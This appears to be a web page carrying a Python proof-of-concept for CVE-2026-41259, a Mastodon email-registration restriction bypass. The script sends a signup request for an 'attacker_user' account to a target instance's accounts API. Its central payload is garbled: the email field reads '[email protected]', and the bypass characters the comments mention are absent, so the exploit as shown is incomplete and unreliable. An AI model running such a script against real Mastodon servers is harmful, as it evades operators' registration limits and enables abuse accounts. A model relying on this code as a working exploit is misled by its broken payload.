CVE-2026-41259 Mastodon邮箱注册限制绕过漏洞

import requests # PoC for CVE-2026-41259: Mastodon Email Registration Restriction Bypass # Target: Mastodon instance < v4.5.9 target_url = "https://target-mastodon-instance/api/v1/accounts" # The payload may vary depending on the specific character handling bug. # Example: Using unicode variations or special characters accepted by MTA. email_payload = "[email protected]" # Attacker controlled email with bypass chars username = "attacker_user" password = "SecurePass123!" data = { "username": username, "email": email_payload, "password": password, "agreement": True, "locale": "en" } response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Potential Bypass Successful: Registration request accepted.") else: print("[-] Registration failed or blocked.") print(response.text)